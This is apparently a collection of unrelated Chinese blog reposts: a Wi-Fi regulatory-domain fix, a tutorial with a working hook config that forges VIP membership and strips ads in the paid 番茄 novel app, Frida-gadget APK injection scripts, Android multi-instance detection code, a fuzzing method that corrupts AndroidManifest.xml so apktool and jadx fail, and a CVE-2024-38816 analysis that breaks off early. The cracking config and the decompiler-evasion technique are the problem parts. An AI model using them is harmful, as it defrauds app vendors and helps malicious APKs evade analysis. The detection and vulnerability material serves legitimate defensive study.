显示连接了一个明显错误的 bssid=00:00:00:00:00:00 的无线AP,导致认证错误:

1
2
3
4
5
6
7
8
9
10
11
12
● netplan-wpa-wlan0.service - WPA supplicant for netplan wlan0
Loaded: loaded (/run/systemd/system/netplan-wpa-wlan0.service; enabled-runtime; vendor preset: enabled)
Active: active (running) since Thu 2020-11-05 16:17:34 CST; 2min 7s ago
Main PID: 1932 (wpa_supplicant)
Tasks: 1 (limit: 9257)
CGroup: /system.slice/netplan-wpa-wlan0.service
└─1932 /sbin/wpa_supplicant -c /run/netplan/wpa-wlan0.conf -iwlan0

Nov 05 16:18:51 pi-worker2 wpa_supplicant[1932]: wlan0: CTRL-EVENT-ASSOC-REJECT bssid=00:00:00:00:00:00 status_code=16
Nov 05 16:10:27 pi-worker2 wpa_supplicant[1849]: wlan0: Trying to associate with SSID 'SSID-OFFICE'
Nov 05 16:10:30 pi-worker2 wpa_supplicant[1849]: wlan0: CTRL-EVENT-ASSOC-REJECT bssid=00:00:00:00:00:00 status_code=16
Nov 05 16:10:30 pi-worker2 wpa_supplicant[1849]: wlan0: CTRL-EVENT-SSID-TEMP-DISABLED id=0 ssid="SSID-OFFICE" auth_failures=1 duration=23 reason=CONN_FAILED

经过一周 排查wpa_supplicant无法连接5GHz无线问题 终于发现对于5G Hz无线网络连接,必须在 wpa_supplicant.conf 中指定 Country Code

不过,netplan的配置中当前不支持配置 country= ,所以可以采用两种方法:

  • 在执行 wpa_supplicant 之前,先通过 wireless-tools 工具包中的 iw 命令设置 regdomain

    1
    iw reg set CN

然后 wpa_supplicant 就可以连接5G Hz的无线AP。

  • 为了能够持久化上述 regdomain 配置,在Ubuntu中,可以修改 /etc/default/crda 配置设置如下:

    1
    REGDOMAIN=CN

然后重启就能够正常连接5G Hz无线网络。

参考

【实用教程】记Simplehook+Lspatch+Shizuku 免root使用教程 番茄为例

【实用教程】记Simplehook+Lspatch+Shizuku 免root使用教程 番茄为例

本文转自 w1234567890 并作补充

发现论坛好多小伙伴有了simplehook配置却不知道怎么用,而且搜了一下论坛也没有免root用hook的简洁教程,今天就来以番茄为例子写一个教程,希望对大家有帮助。

注:此教程以番茄为例子,面向不方便真机root,虚拟机不会弄root,lsp的小伙伴,全程免root,可以在真机丝滑使用。 需要root的有大把教程,基本和免root大同小异,我结尾也附了一些截图就不详细说了,看不懂的搜一下。

目录


受害者

需要工具

教程开始

受害者:

需要工具:

simplehook配置 在下面

番茄(5.9.3.32)点我下载

Simplehook(normal版) 点我下载

Lspatch 点我下载

Shizuku 点我下载

教程开始:

注意,因为我看到一个番茄的hook配置,所以此教程才以番茄为例子,其他软件也可以,别较真

一.安装以上四个软件

二.Shizuku配置激活

1.下载安装

2.按官方教程配对启动(推荐用无线配对)

点我查看官方教程

3.成功后看最上面显示shizuku正在运行即可

4.点管理授权应用,勾选Lspatch

三.Lspatch配置教程

1.打开LSPatch,看到shizuku服务可用

2.点管理页点击+号,找到番茄安装包或者安装到手机直接搜索

3.然后选本地模式修补,签名选用lv2然后点击开始修补

ps:注意看提示打开番茄,需要先打开LSPatch,不然会闪退

4.如图最后一行路径(我记得刚开始有弹窗让你选修补路径)就是安装包所在,安装即可

5.重进LSPatch,再次进入管理页,就会看到番茄

6.长按番茄,然后选择模块作用域,把下载的simplehook勾选上就行了

四.Simplehook配置

1.点首页右下角加号

2.复制如下番茄(测试软件)配置(可能论坛问题,分享的代码配置有朋友说格式错误,所以用附件分享)

1
>[{"packageName":"com.dragon.read","appName":"番茄免费小说","versionName":"5.9.3.32","description":"","configs":"[{"mode":2,"className":"com.dragon.read.widget.m","methodName":"a","params":"*","enable":false},{"mode":2,"className":"com.dragon.read.reader.ad.readflow","methodName":"*","params":"*","enable":false},{"mode":1,"className":"com.dragon.read.user.model.VipInfoModel","methodName":"<init>","params":"java.lang.String,java.lang.String,java.lang.String,Z,Z,I,Z,com.dragon.read.rpc.model.VipSubType","resultValues":"1893211199s,1s,1s,true,true,,true,"}]","id":3}]

点我下载 提取码:pBVj

(注:实际上可以不管这些配置,框架自带的足够用了)

3.点导入配置

4.就会出现番茄图标

5.长按点启动即可

注:填写完simplehook配置之后,需要清除番茄数据,然后再重新打开。如果发现未生效,重复操作即可。

ps:番茄验签好像有问题,我昨天测试的时候一切正常,今天弄又提示不安全了,用虚拟机又可以了。不过没事免root教程就这样,大家可以换软件测试。

————

真机测试图(图一昨日成功图二今日失败):

虚拟机测试和配置(一切正常,会员功能可用):

注:此篇文章是原作者怕被查水表,所以把图片都隐去了,但是工具使用都是没问题的,确实是在应用未加固或加固能力不强时可用的

非root环境下frida持久化的两种方式及脚本

非root环境下frida持久化的两种方式及脚本

本文转自 八重嘤 并作补充

frida是一个非常好用的hook框架,但使用中有两个问题,一是非root手机使用挺麻烦的,二是frida相较于其他HOOK框架没那么持久。网上的持久化大多基于xposed、刷ROM或者是virtualapp,前面两个是比较重量级,不够轻便。虚拟化技术本身就自带风险,很容易被检测到。

在Android端,网上教程里大部分都是使用frida server来进行hook,其实还有一种使用方法为 frida gadget,此方法需要将frida-gadget.so注入到apk中,纯手动的话过于麻烦,所以这里实现两个脚本,分别用修改smali、修改so来注入目标。

我使用的frida-gadget版本为14.2.18。有其他版本的需求,需要替换tools下的so文件

方法一 调试apk中含有so

此方法相对简单。原理来自于古早的静态注入方式:Android平台感染ELF文件实现模块注入

而这种注入方式有工具可以快速实现:How to use frida on a non-rooted device

该方法优点在于可以让gadget是第一个启动的,缺点是没有so的apk不能用。

1.效果

首先运行注入脚本,获得注入且重签名后的apk。直接安装。

image

将frida_script.js push 到/data/local/tmp。frida_script.js为你的hook代码:

1
2
3
4
Java.perform(function () {
var Log = Java.use("android.util.Log");
Log.e("frida-OOOK", "Have fun!");
});//android 不要使用console.log

打开app即可看到效果,app每次启动都会成功的打印LOG:

image

不想使用持久化(本地js脚本),也可以通过电脑连接:

image

不使用持久化,就不必添加config文件,所以脚本执行不需要执行-persistence,执行下面的就可以:

1
python LIEFInjectFrida.py apkfile  outdir  libnative-lib.so  -apksign

2.代码

工具详细代码:https://github.com/nszdhd1/UtilScript/blob/main/LIEFInjectFrida.py

运行脚本记得安装lief(pip install lief)

其实关键代码就几行:

1
2
3
4
5
6
for soname in injectsolist: #遍历apk中指定SO有哪几种架构,并添加gadget.so为依赖库。
if soname.find("x86") != -1:
continue
so = lief.parse(os.getcwd()+"\\"+soname)
so.add_library("libfrida-gadget.so")
so.write(soname+"gadget.so")

方法二 apk中没有so

在实际情况下,并不是所有的apk都有so。没有so,方法一便没有用武之地了。

此方法呢,是通过修改smali,调用System.loadLibrary来加载so。该原理更简单,但是有一个弊端就是时机不够靠前,没有办法hook Activity 启动之前的代码。

手动修改太麻烦,还是写一个脚本自动化注入。

此方法优点是原理简单,缺点是脚本实现麻烦,容易写bug

1. 效果

首先运行注入脚本,获得注入且重签名后的apk。直接安装。

image

image

frida_script.js代码同上,同样也可以使用电脑连接:

image

2. 代码

工具详细代码:https://github.com/nszdhd1/UtilScript/blob/main/SmaliInjectFrida.py

关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
def get_launchable_activity_aapt(self): #通过aapt找到apk的启动activity
aapt_path = os.path.join(self.toolPath, 'aapt.exe')
cmd = '%s dump badging "%s" ' % (aapt_path, self.apkpath)
p = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
out,err = p.communicate()
cmd_output = out.decode('utf-8').split('\r')
for line in cmd_output:
#正则,pattern.search正常,pattern.match就会有问题=-=懒得解决了
pattern = re.compile("launchable-activity: name='(\S+)'")
match = pattern.search(line)
if match:
# print match.group()[27:-1]
return match.group()[27:-1]

def injectso(self):
target_activity = self.get_launchable_activity_aapt()
for dex in self.dexList:
print(dex)
if self.dexDecompile(dex):
smali_path = os.path.join(self.decompileDir,target_activity.replace('.','\\'))+".smali"
print(smali_path)
with open(smali_path, 'r') as fp:
lines = fp.readlines()
has_clinit = False
start = 0
for i in range(len(lines)):
#start是获取smali中,可以添加代码的位置
if lines[i].find(".source") != -1:
start = i
#找到初始化代码
if lines[i].find(".method static constructor <clinit>()V") != -1:
if lines[i + 3].find(".line") != -1:
code_line = lines[i + 3][-3:]
lines.insert(i + 3, "%s%s\r" % (lines[i + 3][0:-3], str(int(code_line) - 2)))
print("%s%s" % (lines[i + 3][0:-3], str(int(code_line) - 2)))
#添加相关代码
lines.insert(i + 4, "const-string v0, \"frida-gadget\"\r")
lines.insert(i + 5, "invoke-static {v0}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V\r")
has_clinit = True
break
#如果碰上本身没有clinit函数的apk,就需要自己添加
if not has_clinit:
lines.insert(start + 1, ".method static constructor <clinit>()V\r")
lines.insert(start + 2, ".registers 1\r")
lines.insert(start + 3, ".line 10\r")
lines.insert(start + 4, "const-string v0, \"frida-gadget\"\r")
lines.insert(start + 5, "invoke-static {v0}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V\r")
lines.insert(start + 6, "return-void\r")
lines.insert(start + 7, ".end method\r")

with open(smali_path, "w") as fp:
fp.writelines(lines)
self.dexCompile(dex)

Frida 持久化检测特征

我因为方便,将frida js 放在了/data/local/tmp下,如果直接放在app的沙箱下,这就是一个稳定的hook框架了。

既然做了持久化,就要从防御者角度看看哪些方面可以检测到应用被注入了。

首先,当然是内存中会有frida-gadget.so。但这个so可以被重命名(我可以命名为常见的模块,比如libBugly.so),所以检测/proc/pid/maps下是否有frida-gadget并不准确。因为frida有一个config文件,是持久化必须存在的。所以检测libs下是否有lib*.so和lib*.config.so是一种较为可行的方法。但是,如果你不使用持久化,或者去github上找到frida的源码修改gaget.vala(ps.这一点是合理的猜想,还未验证过),就可以让防御者检测不到。

1
2
3
4
5
6
7
8
9
10
11
#gaget.vala 代码片段
if ANDROID
if (!FileUtils.test (config_path, FileTest.EXISTS)) {
var ext_index = config_path.last_index_of_char ('.');
if (ext_index != -1) {
config_path = config_path[0:ext_index] + ".config.so";#修改这里,就可以检测不到。需要保持后缀不变(例如改成symbols.so)
} else {
config_path = config_path + ".config.so";
}
}
#endif

除去端口检测这种几乎没什么用的,还有一种比较可行的是内存扫描,扫描内存中是否有LIBFRIDA_GADGET关键词,具体实现网上有教程我就不介绍了。

Android 禁止应用多开

Android 禁止应用多开

本文转自 九音 并作补充

Android多开

原理

一种是从多开App中直接加载被多开的App,如平行空间、VirtualApp等,另一种是让用户新安装一个App,但这个App本质上就是一个壳,用来加载被多开的App,其原理和前一种是一样的,市面上多开分身这款App是用的这种形式,用户每分身一个App需新安装一个包名为dkmodel.xxx.xxx的App

Android检测方案

1、检查files目录路径

App的私有目录是/data/data/包名/或/data/user/用户号/包名通过Context.getFilesDir()方法可以拿到私有目录下的files目录。

但是在多开环境下,获取到目录会变为/data/data/多开App的包名/xxxxxxxx或/data/user/用户号/多开App的包名/xxxxxxxx。

示例:

正常使用App上面的代码获取到的路径:

/data/user/0/top.darkness463.virtualcheck/files。

多开路径:

/data/user/0/dkmodel.zom.rxo/virtual/data/user/0/top.darkness463.virtualcheck/files。

2、应用列表检测

应用列表检测不是指简单的遍历应用列表判断是不是安装了多开App,我们并不阻止用户安装多开App并多开其他App,我们只是不希望用户多开我们自己的App,因此不能检测到用户安装了多开App就把他干掉。

多开App都会对context.getPackageName()进行处理,让这个方法返回原始App的包名,因此在被多开的App看来,多开App的包名和原始的那个App的包名一样,因此在多开环境下遍历应用列表时会发现包名等于原始App的包名的应用会有两个。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private boolean checkPkg(Context context){
try{
if (context == null){
return false;
}
int count = 0;
String packageName = context.getPackageName();
PackageManager pm = context.getPackageManager();
List<PackageInfo> pkgs = pm.getInstalledPackages(0);
for (PackageInfo info : pkgs){
if (packageName.equals(info.packageName)){
count++;
}
}
return count > 1;
} catch (Exception ignore){}
return false;
}

缺点:

只对部分多开App有效,例如360的分身大师,不少多开App会绕过这项检测

3、Maps检测

读取/proc/self/maps,多开App会加载一些自己的so到内存空间

比如说:

360的分身大师加载了其目录下的某个so,/data/app/com.qihoo.magic-gdEsg8KRAuJy0MuY18BlqQ==/lib/arm/libbreakpad-jni-1.5.so,通过对各种多开App的包名的匹配,如果maps中有多开App的包名的东西,那么当前就是运行在多开环境下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Set<String> virtualPkgs;
private boolean check(){
BufferedReader bufr = null;
try {
bufr = new BufferedReader(new FileReader("/proc/self/maps"));
String line;
while ((line = bufr.readLine()) != null){
for (String pkg : virtualPkgs){
if (line.contains(pkg)){
return true;
}
}
}
} catch (Exception ignore){}
finally {
if (bufr != null){
try {
bufr.close();
} catch (IOException e){}
}
}
return false;
}

缺点:

目前没有发现多开App绕过该项检测,但缺点是需要收集所有多开App的包名,一旦多开App改个包名就失效了。

4、ps检测

通过执行ps命令并以自己的uid进行过滤,得到类似下面的结果:

image

多开环境下:会获取到自己的包名和多开App的包名这2个包名,通过这些包名去/data/data/下找会找到2个目录

而正常情况下只能在/data/data/下找到自己的App的目录

具体方法网址:

(https://blog.csdn.net/shdhenghao3/article/details/94409299)

https://www.sohu.com/a/242918900_659256

四种方案测试结果

image

测试方案顺序1234,测试结果X代表未能检测O成功检测多开;

virtual app测试版本是git开源版,商用版已经修复uid的问题;

image

为了避免歧义,我们接下来所说的app都是指的同一款软件,并定义普通运行的app叫做本体,运行在多开软件上的app叫克隆体。并提出以下两个概念

狭义多开

只要app是通过多开软件打开的,则认为多开,即使同一时间内只运行了一个app

广义多开:

无论app是否运行在多开软件上,只要app在运行期间,有其余的『自己』在运行,则认为多开

最终方案

第1步:扫描本地端口(扫描tcp文件并格式化端口的关键代码)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
>String tcp6 =CommandUtil.getSingleInstance().exec("cat /proc/net/tcp6");

>if(TextUtils.isEmpty(tcp6))return;

String[] lines =tcp6.split("n");

ArrayListportList =newArrayList<>();

for(inti =0, len = lines.length; i < len; i++) {

intlocalHost = lines[i].indexOf("0100007F:");

//127.0.0.1:的位置

if(localHost <0)continue;

StringsinglePort = lines[i].substring(localHost +9, localHost +13);

//截取端口

Integer port =Integer.parseInt(singlePort,16);

//16进制转成10进制

portList.add(port);

}

第2步:发起连接请求

接下来向每个端口都发起一个线程进行连接,并发送自定义消息,该段消息用app的包名就行了(多开软件很大程度会hook getPackageName方法,干脆就顺着多开软件做)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
try{

//发起连接,并发送消息

Socket socket=newSocket("127.0.0.1",port);

socket.setSoTimeout(2000);

OutputStreamoutputStream = socket.getOutputStream();

outputStream.write((secret+"n").getBytes("utf-8"));

outputStream.flush();

socket.shutdownOutput();

//获取输入流,这里没做处理,纯打印

InputStreaminputStream = socket.getInputStream();

BufferedReaderbufferedReader =newBufferedReader(newInputStreamReader(inputStream));

String info=null;

while((info = bufferedReader.readLine())!=null) {

Log.i(TAG,"ClientThread: "+ info);

}

bufferedReader.close();

inputStream.close();

socket.close();

}catch(ConnectException e) {

Log.i(TAG, port+"port refused");

}

主动连接的过程完成,先于自己启动的app(可能是本体or克隆体)接收到消息并进行处理。

第3步:成为接收端,等待连接

接下来就是成为接收端,监听某端口,等待可能到来的app连接(可能是本体or克隆体)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
privatevoidstartServer(String

secret){

Random random=newRandom();

ServerSocketserverSocket =null;

try{

serverSocket=newServerSocket();

serverSocket.bind(newInetSocketAddress("127.0.0.1",

random.nextInt(55534) +10000));

//开一个10000~65535之间的端口

while(true) {

Socket socket =serverSocket.accept();

ReadThreadreadThread =newReadThread(secret, socket);

//假如这个方案很多app都在用,还是每个连接都开线程处理一些

readThread.start();

//

serverSocket.close();

}

}catch(BindException e) {

startServer(secret);//may be loop forever

}catch(IOException e) {

e.printStackTrace();

}

}

开启端口时为了避免开一个已经开启的端口,主动捕获BindExecption,并迭代调用,可能会因此无限循环,如果怕死循环的话,可以加一个类似ConcurrentHashMap最坏尝试次数的计数值。不过实际测试没那么衰,随机端口范围10000~65535,最多尝试两次就好了。

每一个处理线程,做的事情就是匹配密文,对应上了就是某个克隆体or本体发送的密文,这里是接收端主动运行一个空指针异常,杀死自己。处理方式有点像《三体》的黑暗森林法则,谁先暴露谁先死。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
privateclassReadThreadextendsThread{

privateReadThread(String

secret, Socket socket){

InputStreaminputStream =null;

try{

inputStream =socket.getInputStream();

bytebuffer[] =newbyte[1024*4];

inttemp =0;

while((temp = inputStream.read(buffer)) !=-1) {

String result=newString(buffer,0, temp);

if(result.contains(secret)) {

//

System.exit(0);

//

Process.killProcess(Process.myPid());

nullPointTV.setText("");

}

}

inputStream.close();

socket.close();

}catch(IOException e) {

e.printStackTrace();

}

}

}

*因为端口通信需要Internet权限,本库不会通过网络上传任何隐私

本文方案已经集成到

github地址:

https://github.com/lamster2018/EasyProtector

fuzz AndroidManifest.xml 实现反编译对抗

fuzz AndroidManifest.xml 实现反编译对抗

本文转自 枫糖甜酒 并作补充

有的恶意APK为了防止被apktool反编译,就会在AndroidManifest.xml里面进行一些特殊处理,来干扰apktool反编译,实现安装运行APK没问题,但是apktool 反编译的时候会出现异常并退出
例如下面这个APK,在apktool 2.8.1版本下,就无法正常反编译,但是却能够adb install安装

image

这篇文章Android免杀小结中提到过可以通过修改AndroidManifest.xml二进制文件中的某一位来干扰apktool的判断,但是告诉我们如何寻找这种能够干扰反编译软件的位,所以本篇会针对单位修改AndroidManifest.xml文件对抗反编译进行讨论

环境准备

本机使用windows系统,测试机 AOSP Android 11,这里的反编译工具是Apktool,截止到今天最新版本是 v2.9.0

image

本地更新一下jar包

image

010Editor,用到这个是为了查看AndroidManifest.xml 的二进制数据格式
现在环境就OK了

AndroidManifest.xml 简介

如果不了解AndroidManifest.xml 文件结构就暴力fuzz未免太粗鲁了
AndroidManifest.xml 是 Android 应用程序的清单文件,用于描述应用程序的基本信息、声明组件和权限等内容,是安卓应用开发中非常重要的一个文件
以之前写的一个AndroidManifest.xml 文件为例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
package="hi.beautifulz.myapplication">
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />

<uses-feature android:name="android.hardware.camera" />
<uses-feature android:name="android.hardware.camera.autofocus" />
<uses-feature android:name="android.hardware.microphone" />

<application
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:theme="@style/AppTheme">
<activity
android:name=".MainActivity"
android:label="@string/app_name"
android:exported="true"
>
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<receiver
android:name=".MainBroadcastReceiver"
android:label="MainBroadcastReceiver"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
</intent-filter>
</receiver>
<service android:name=".MyService" android:exported="true" />
</application>

</manifest>

简单介绍一下该文件:

  • 元素是必须的,它定义了整个文件的根元素,并且包含了一些必要的属性,例如 package

  • 元素用于声明应用程序所需的权限

  • 元素用于声明应用程序所需的设备功能和硬件特性

  • 元素是应用程序的核心元素,它包含了所有的组件和各种配置信息,例如主 activity、自定义 theme、icon 等等。

    • 元素用于声明应用程序中的 Activity 组件
    • 元素用于声明应用程序中的 Service 组件
    • 元素用于声明应用程序中的 Broadcast Receiver 组件
    • 元素用于声明应用程序中的 Content Provider 组件
    • …….

AndroidManifest.xml二进制文件结构

文件大纲

MindMac师傅在看雪发的图

image

当然没基础的话,直接看这个图其实没什么卵用
根据附件里面的AndroidManifest.xml文件生成二进制文件,跟着MindMac的思路使用010Editor进行分析
编码前的xml文件内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.android.test"
android:versionCode="1"
android:versionName="1.0" >

<uses-sdk
android:minSdkVersion="14"
android:targetSdkVersion="19" />

<uses-permission android:name="android.permission.INTERNET" />

<application
android:allowBackup="false"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<activity
android:name="com.android.test.MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>

用这个xml生成APK,APK再解压之后得到AndroidManifest.xml二进制文件,丢到010editor里面,以十六进制的格式查看

image

感觉跟MindMac的内容有点不太一样,难道是因为版本的问题,加载AndroidManifest.bt Template

image

可以看到已经把AndroidManifest文件架构列出来了
MindMac把文件分为了五个结构,这里的Magic Number和File Size其实都属于header

image

header内容为

image

所以可以分为四个部分

  • Header : 包括文件魔数和文件大小
  • String Chunk : 字符串资源池
  • ResourceId Chunk : 系统资源 id 信息
  • XmlContent Chunk : 清单文件中的具体信息,其中包含了五个部分

接下来简单分析一下这几个部分

Header

image

AndroidManifest的魔数为 0x00080003

关于魔数
二进制文件的魔数(Magic Number)是一种固定值,用于标识文件类型或格式。不同的文件类型通常具有不同的魔数。

以下是一些常见的二进制文件魔数示例:

  • ELF(可执行和共享目标文件):0x7F 0x45 0x4C 0x46
  • JPEG(图片文件):0xFF 0xD8
  • PNG(可移植网络图形):0x89 0x50 0x4E 0x47 0x0D 0x0A 0x1A 0x0A
  • PDF(便携式文档格式):0x25 0x50 0x44 0x46
  • ZIP(压缩文件):0x50 0x4B 0x03 0x04
  • GIF(图形交换格式):0x47 0x49 0x46 0x38

另外为什么这里是 0x00080003 而不是 0x03000800
是因为清单文件是小端表示的

在早期的apktool会识别AndroidManifest文件,如果魔数不为0x00080003则反编译失败,该方法也用在了某些恶意APK上,比如链安的这篇文章https://www.liansecurity.com/#/main/news/IPONQIoBE2npFSfFbCRf/detail

image

其中修改魔数为 00 00 08 00 则可以实现干扰
该方法在新版本的apktool测试已失效

该文件的filesize为0x00000904即2308字节

image

Other

其他的模块就不一一赘述,如果想要自己跟着分析每一块内容可以参考

总而言之,AndroidManifest里面的每一位都有自己的作用

手动修改AndroidManifest文件

手动修改在010Editor里面修改AndroidManifest,例如这里修改为 00

image

然后压缩成zip文件,修改zip后缀为apk,就能够生效了(这个时候只是修改,并没有干扰反编译软件)

自动化fuzz

手动是不可能手动的

自动化fuzz的AndroidManifest.xml文本内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.android.test"
android:versionCode="1"
android:versionName="1.0" >

<uses-sdk android:targetSdkVersion="29" />

<uses-permission android:name="android.permission.INTERNET" />

<application
android:allowBackup="false"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<activity
android:name="com.android.test.MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>

获取apktool解析结果

之前先知上面的这篇文章 https://xz.aliyun.com/t/12893#toc-10 stringPoolSize陷阱,修改字符串个数 stringCount 字段,导致跟实际对应不上,会造成AndroidManifest.xml解析出现问题,但是这个问题 2.9.0已经修复了,我们在2.8.1上先捕捉一下这个错误

image

使用python获取apktool的运行结果,为啥这里写的这么复杂是因为apktool的运行结果直接获取不到,需要Press any key to continue . . .
需要获取实时的运行流才可以确认结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def apktoolDecode() -> bool:
"""
获取apktool的扫描结果
:rtype: object
True 扫描出错
False 扫描成功
"""
apktool_cmd = f"apktool d -f {sign_name} "
process = subprocess.Popen(apktool_cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)

# 定义一个标志位来表示命令是否已经执行完成
command_completed = threading.Event()

def handle_output(stream, prefix):
for line in stream:
print(f"{prefix}: {line.strip()}")
command_completed.set() # 设置标志位,表示命令已完成

stderr_thread = threading.Thread(target=handle_output, args=(process.stderr, "STDERR"))
stderr_thread.start()
timeout_seconds = 5
command_completed.wait(timeout_seconds)

if not command_completed.is_set():
process.terminate()
return False
else:
process.terminate()
return True

遇到解析不了的APK的时候就会返回True,正常解析的就会返回False

image

优化

简单计算一下会有多少种可能性,前面提到过该文件有2308个字节,一个字节修改范围为 0x00 - 0xFF,即256,所以一共有590848种可能性,如果是单线程运行的话需要八百多个小时

image

蒽….
考虑已知的干扰位置,我们对每一个字节的修改范围变成下面两种可能来缩减范围:

  • 0x00 比如魔数,把 0x03修改为了0x00
  • 跟原本位置不同的数字,比如stringCount原来是0x23 我们修改为0x24

在这个基础上 可能性缩减到了4616

获取结果

在前面的思路上编写出脚本运行就可以了,能够造成apktool 2.9.0 干扰的位置有很多,但是有的位置修改了之后会导致手机也安装不上,出现错误

adb: failed to install .\app-debug.apk: Failure [INSTALL_PARSE_FAILED_UNEXPECTED_EXCEPTION: Failed to parse /data/app/vmdl1242571071.tmp/base.apk: Corrupt XML binary file]

image

所以我们不仅要能够干扰apktool,还需要修改之后能够正常安装
在原来的基础上添加了自动签名代码

1
2
3
4
def signApk():
subprocess.run(
['jarsigner', '-verbose', '-sigalg', 'SHA1withRSA', '-digestalg', 'SHA1', '-keystore', "./spring.keystore",
'-storepass', "123456", '-keypass', "123456", '-signedjar', "sign.apk", "./app-debug.apk", "spring"])

验证是否能正常安装代码

1
2
3
4
5
6
def installApp():
adb_install_cmd = f'adb install {sign_name}'
result = os.system(adb_install_cmd)
if result == 0:
return True
return False

跑了一会fuzz脚本之后就出现了结果,这里给出一个apktool2.9.0的干扰结果
在String Offsets数组里面(存储每个字符串在字符串池中的相对偏移量),修改0X00000198为0X00005098,为什么是这个值,这里只是找一个能让数组越界的下标值,因为fuzz出来是这个我就填这个了

image

修改之后

image

保存后重新打包成zip,并且签名
安装和运行没问题

image

image

使用apktool 2.9.0 进行反编译,反编译失败

image

jadx对抗

本来准备结束了,Red256问我能不能对抗jadx

image

因为没有遇到我(吐舌

使用jadx最新版本1.4.7,设置前面给出的干扰位置,把重新压缩的APK丢到jadx里面

image

AndroidManifest.xml解析失败,对抗成功
给APK签名后检查能否安装

jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore ./spring.keystore -storepass 123456 -keypass 123456 -signedjar sign.apk ./app-debug.apk spring

安装成功

image

小结

对于文件有增删查改四种操作,除了查操作之外,其他的三种操作都有机会对抗反编译软件,本篇也只是对改操作里面的单位操作进行了fuzz分析,除单位之外,还可以进行两位、三位….的修改,组合的情况也就更多了

具体为什么反编译软件会出现报错,我们查看反编译软件的报错

apktool报错

image

jadx-gui报错

image

其实都是指向同一个问题

java.lang.ArrayIndexOutOfBoundsException

查看apktool源代码,具体位置在

1
2
3
4
5
6
7
8
9
10
11
12
private static int[] getUtf16(byte[] array, int offset) {
int val = ((array[offset + 1] & 0xFF) << 8 | array[offset] & 0xFF);

if ((val & 0x8000) != 0) {
int high = (array[offset + 3] & 0xFF) << 8;
int low = (array[offset + 2] & 0xFF);
int len_value = ((val & 0x7FFF) << 16) + (high + low);
return new int[] {4, len_value * 2};

}
return new int[] {2, val * 2};
}

错误在这一行

int val = ((array[offset + 1] & 0xFF) << 8 | array[offset] & 0xFF);

所以是传入的恶意偏移量导致了数组越界产生了异常并退出

参考链接

CVE-2024-38816 Spring Framework 目录遍历漏洞详细分析

CVE-2024-38816 Spring Framework 目录遍历漏洞详细分析

本文转自 真爱和自由 并作补充

漏洞描述

https://spring.io/security/cve-2024-38816

通过功能性 Web 框架 WebMvc.fn 或 WebFlux.fn 提供静态资源的应用程序容易受到路径遍历攻击。攻击者可以编写恶意 HTTP 请求并获取文件系统上任何可由 Spring 应用程序正在运行的进程访问的文件。

具体来说,当以下两个条件都成立时,应用程序就容易受到攻击:

  • Web 应用程序用于RouterFunctions提供静态资源
  • 资源处理明确配置了FileSystemResource位置

但是,当以下任何一项满足时,恶意请求都会被阻止和拒绝:

受影响的 Spring 产品和版本

Spring 框架

  • 5.3.0 - 5.3.39
  • 6.0.0 - 6.0.23
  • 6.1.0 - 6.1.12
  • 较旧的、不受支持的版本也受到影响

基础知识

首先分析一个cve说实话我是不太了解spring框架的,这时候就需要疯狂拷打GPT了

WebMvc.fnWebFlux.fn

WebMvc

WebMvc 是 Spring Framework 提供的传统的 MVC(Model-View-Controller)架构,用于构建 web 应用程序。它使用的是 Servlet API,适合于构建基于线程的同步 web 应用。其基本组成包括:

  • Controller:处理 HTTP 请求的主要组件。
  • View:用于渲染响应的模板(如 JSP、Thymeleaf 等)。
  • Model:包含应用程序的核心数据。

WebFlux

